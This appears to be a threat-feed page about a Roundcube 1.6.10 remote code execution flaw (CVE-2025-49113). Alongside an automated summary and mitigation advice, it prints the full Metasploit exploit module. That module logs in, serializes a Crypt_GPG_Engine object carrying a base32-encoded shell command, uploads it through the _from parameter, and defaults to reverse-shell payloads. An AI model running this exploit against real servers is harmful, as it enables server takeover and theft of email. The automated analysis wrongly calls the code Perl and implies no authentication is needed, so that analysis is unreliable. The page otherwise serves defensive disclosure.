Roundcube 1.6.10 - Remote Code Execution (RCE)
Roundcube 1.6.10 - Remote Code Execution (RCE)
AI Analysis
Technical Summary
The security threat pertains to a Remote Code Execution (RCE) vulnerability in Roundcube version 1.6.10, a widely used open-source webmail client. RCE vulnerabilities allow an attacker to execute arbitrary code on the target server remotely, potentially gaining full control over the affected system. Although specific technical details of the exploit are not provided, the presence of exploit code written in Perl indicates that the vulnerability can be actively leveraged by attackers using this scripting language. Given Roundcube's role in managing email communications, exploitation could lead to unauthorized access to sensitive email data, server compromise, and lateral movement within an organization's network. The absence of affected version details suggests the issue might be specific to 1.6.10 or related builds, emphasizing the importance of verifying the exact impacted versions. The exploit being categorized as critical highlights the severity and urgency of addressing this vulnerability. No known exploits in the wild have been reported yet, but the availability of exploit code increases the risk of imminent attacks. The vulnerability likely stems from improper input validation or unsafe handling of user-supplied data, common causes of RCE in web applications. Overall, this threat represents a significant risk to organizations relying on Roundcube 1.6.10 for email services, especially those exposing the webmail interface to the internet.
Potential Impact
For European organizations, the impact of this RCE vulnerability in Roundcube 1.6.10 could be severe. Compromise of email servers can lead to exposure of confidential communications, intellectual property theft, and disruption of business operations. Attackers could use the exploited server as a foothold to infiltrate internal networks, escalate privileges, and deploy further malware or ransomware. This could result in data breaches subject to GDPR penalties, reputational damage, and financial losses. Organizations in sectors such as finance, government, healthcare, and critical infrastructure are particularly at risk due to the sensitive nature of their communications and regulatory requirements. Additionally, since Roundcube is often deployed in shared hosting environments, exploitation could affect multiple tenants, amplifying the impact. The lack of authentication requirements or user interaction in typical RCE scenarios further increases the threat level, enabling remote attackers to compromise systems without user involvement.
Mitigation Recommendations
To mitigate this threat, European organizations should: 1) Immediately verify if their Roundcube installations are running version 1.6.10 and assess exposure of the webmail interface to the internet. 2) Apply any available patches or updates from the Roundcube project as soon as they are released; if no patch is available, consider downgrading to a known secure version or upgrading to a newer, patched release. 3) Restrict access to the Roundcube web interface using network-level controls such as VPNs, IP whitelisting, or web application firewalls (WAFs) with specific rules to detect and block exploit attempts. 4) Monitor server logs and network traffic for suspicious activities indicative of exploitation attempts, including unusual Perl script executions or unexpected outbound connections. 5) Implement strict input validation and sanitization if custom modifications exist. 6) Conduct regular security assessments and penetration testing focused on webmail infrastructure. 7) Educate IT staff about the risks and signs of exploitation to enable rapid incident response. 8) Consider isolating the Roundcube server in a segmented network zone to limit lateral movement in case of compromise.
Affected Countries
Germany, France, United Kingdom, Netherlands, Italy, Spain, Poland, Belgium, Sweden, Austria
Indicators of Compromise
- exploit-code: ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization', 'Description' => %q{ Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the _from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization. An attacker can execute arbitrary system commands as the web server. }, 'Author' => [ 'Maksim Rogov', # msf module 'Kirill Firsov', # disclosure and original exploit ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-49113'], ['URL', 'https://fearsoff.org/research/roundcube'] ], 'DisclosureDate' => '2025-06-02', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] }, 'Platform' => ['unix', 'linux'], 'Targets' => [ [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X64, ARCH_X86, ARCH_ARMLE, ARCH_AARCH64], 'Type' => :linux_dropper, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ], [ 'Linux Command', { 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD], 'Type' => :nix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ] ], 'DefaultTarget' => 0 ) ) register_options( [ OptString.new('USERNAME', [true, 'Email User to login with', '' ]), OptString.new('PASSWORD', [true, 'Password to login with', '' ]), OptString.new('TARGETURI', [true, 'The URI of the Roundcube Application', '/' ]), OptString.new('HOST', [false, 'The hostname of Roundcube server', '']) ] ) end class PhpPayloadBuilder def initialize(command) @encoded = Rex::Text.encode_base32(command) @gpgconf = %(echo "#{@encoded}"|base32 -d|sh &#) end def build len = @gpgconf.bytesize %(|O:16:"Crypt_GPG_Engine":3:{s:8:"_process";b:0;s:8:"_gpgconf";s:#{len}:"#{@gpgconf}";s:8:"_homedir";s:0:"";};) end end def fetch_login_page res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'method' => 'GET', 'keep_cookies' => true, 'vars_get' => { '_task' => 'login' } ) fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200 res end def check res = fetch_login_page unless res.body =~ /"rcversion"\s*:\s*(\d+)/ fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract version number") end version = Rex::Version.new(Regexp.last_match(1).to_s) print_good("Extracted version: #{version}") if version.between?(Rex::Version.new(10100), Rex::Version.new(10509)) return CheckCode::Appears elsif version.between?(Rex::Version.new(10600), Rex::Version.new(10610)) return CheckCode::Appears end CheckCode::Safe end def build_serialized_payload print_status('Preparing payload...') stager = case target['Type'] when :nix_cmd payload.encoded when :linux_dropper generate_cmdstager.join(';') else fail_with(Failure::BadConfig, 'Unsupported target type') end serialized = PhpPayloadBuilder.new(stager).build.gsub('"', '\\"') print_good('Payload successfully generated and serialized.') serialized end def exploit token = fetch_csrf_token login(token) payload_serialized = build_serialized_payload upload_payload(payload_serialized) end def fetch_csrf_token print_status('Fetching CSRF token...') res = fetch_login_page html = res.get_html_document token_input = html.at('input[name="_token"]') unless token_input fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract CSRF token") end token = token_input.attributes.fetch('value', nil) if token.blank? fail_with(Failure::UnexpectedReply, "#{peer} - CSRF token is empty") end print_good("Extracted token: #{token}") token end def login(token) print_status('Attempting login...') vars_post = { '_token' => token, '_task' => 'login', '_action' => 'login', '_url' => '_task=login', '_user' => datastore['USERNAME'], '_pass' => datastore['PASSWORD'] } vars_post['_host'] = datastore['HOST'] if datastore['HOST'] res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'method' => 'POST', 'keep_cookies' => true, 'vars_post' => vars_post, 'vars_get' => { '_task' => 'login' } ) fail_with(Failure::Unreachable, "#{peer} - No response during login") unless res fail_with(Failure::UnexpectedReply, "#{peer} - Login failed (code #{res.code})") unless res.code == 302 print_good('Login successful.') end def generate_from options = [ 'compose', 'reply', 'import', 'settings', 'folders', 'identity' ] options.sample end def generate_id random_data = SecureRandom.random_bytes(8) timestamp = Time.now.to_f.to_s Digest::MD5.hexdigest(random_data + timestamp) end def generate_uploadid millis = (Time.now.to_f * 1000).to_i "upload#{millis}" end def upload_payload(payload_filename) print_status('Uploading malicious payload...') # 1x1 transparent pixel image png_data = Rex::Text.decode_base64('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==') boundary = Rex::Text.rand_text_alphanumeric(8) data = '' data << "--#{boundary}\r\n" data << "Content-Disposition: form-data; name=\"_file[]\"; filename=\"#{payload_filename}\"\r\n" data << "Content-Type: image/png\r\n\r\n" data << png_data data << "\r\n--#{boundary}--\r\n" send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "?_task=settings&_remote=1&_from=edit-!#{generate_from}&_id=#{generate_id}&_uploadid=#{generate_uploadid}&_action=upload"), 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => data }) print_good('Exploit attempt complete. Check for session.') end end
Roundcube 1.6.10 - Remote Code Execution (RCE)
Description
Roundcube 1.6.10 - Remote Code Execution (RCE)
AI-Powered Analysis
Technical Analysis
The security threat pertains to a Remote Code Execution (RCE) vulnerability in Roundcube version 1.6.10, a widely used open-source webmail client. RCE vulnerabilities allow an attacker to execute arbitrary code on the target server remotely, potentially gaining full control over the affected system. Although specific technical details of the exploit are not provided, the presence of exploit code written in Perl indicates that the vulnerability can be actively leveraged by attackers using this scripting language. Given Roundcube's role in managing email communications, exploitation could lead to unauthorized access to sensitive email data, server compromise, and lateral movement within an organization's network. The absence of affected version details suggests the issue might be specific to 1.6.10 or related builds, emphasizing the importance of verifying the exact impacted versions. The exploit being categorized as critical highlights the severity and urgency of addressing this vulnerability. No known exploits in the wild have been reported yet, but the availability of exploit code increases the risk of imminent attacks. The vulnerability likely stems from improper input validation or unsafe handling of user-supplied data, common causes of RCE in web applications. Overall, this threat represents a significant risk to organizations relying on Roundcube 1.6.10 for email services, especially those exposing the webmail interface to the internet.
Potential Impact
For European organizations, the impact of this RCE vulnerability in Roundcube 1.6.10 could be severe. Compromise of email servers can lead to exposure of confidential communications, intellectual property theft, and disruption of business operations. Attackers could use the exploited server as a foothold to infiltrate internal networks, escalate privileges, and deploy further malware or ransomware. This could result in data breaches subject to GDPR penalties, reputational damage, and financial losses. Organizations in sectors such as finance, government, healthcare, and critical infrastructure are particularly at risk due to the sensitive nature of their communications and regulatory requirements. Additionally, since Roundcube is often deployed in shared hosting environments, exploitation could affect multiple tenants, amplifying the impact. The lack of authentication requirements or user interaction in typical RCE scenarios further increases the threat level, enabling remote attackers to compromise systems without user involvement.
Mitigation Recommendations
To mitigate this threat, European organizations should: 1) Immediately verify if their Roundcube installations are running version 1.6.10 and assess exposure of the webmail interface to the internet. 2) Apply any available patches or updates from the Roundcube project as soon as they are released; if no patch is available, consider downgrading to a known secure version or upgrading to a newer, patched release. 3) Restrict access to the Roundcube web interface using network-level controls such as VPNs, IP whitelisting, or web application firewalls (WAFs) with specific rules to detect and block exploit attempts. 4) Monitor server logs and network traffic for suspicious activities indicative of exploitation attempts, including unusual Perl script executions or unexpected outbound connections. 5) Implement strict input validation and sanitization if custom modifications exist. 6) Conduct regular security assessments and penetration testing focused on webmail infrastructure. 7) Educate IT staff about the risks and signs of exploitation to enable rapid incident response. 8) Consider isolating the Roundcube server in a segmented network zone to limit lateral movement in case of compromise.
For access to advanced analysis and higher rate limits, contact root@offseq.com
Technical Details
- Edb Id
- 52324
- Has Exploit Code
- true
- Code Language
- perl
Indicators of Compromise
Exploit Source Code
Exploit code for Roundcube 1.6.10 - Remote Code Execution (RCE)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Roundcube ≤ 1.6.10 Post-Auth RCE via PHP... (6637 more characters)
Threat ID: 684d0a38a8c9212743816b4b
Added to database: 6/14/2025, 5:35:52 AM
Last enriched: 6/14/2025, 5:36:18 AM
Last updated: 6/16/2025, 9:19:39 AM
Views: 13
Related Threats
PCMan FTP Server 2.0.7 - Buffer Overflow
MediumAnchor CMS 0.12.7 - Stored Cross Site Scripting (XSS)
MediumLitespeed Cache WordPress Plugin 6.3.0.1 - Privilege Escalation
HighParrot and DJI variants Drone OSes - Kernel Panic Exploit
MediumWindows 11 SMB Client - Privilege Escalation & Remote Code Execution (RCE)
CriticalActions
Updates to AI analysis are available only with a Pro account. Contact root@offseq.com for access.
External Links
Need enhanced features?
Contact root@offseq.com for Pro access with improved analysis and higher rate limits.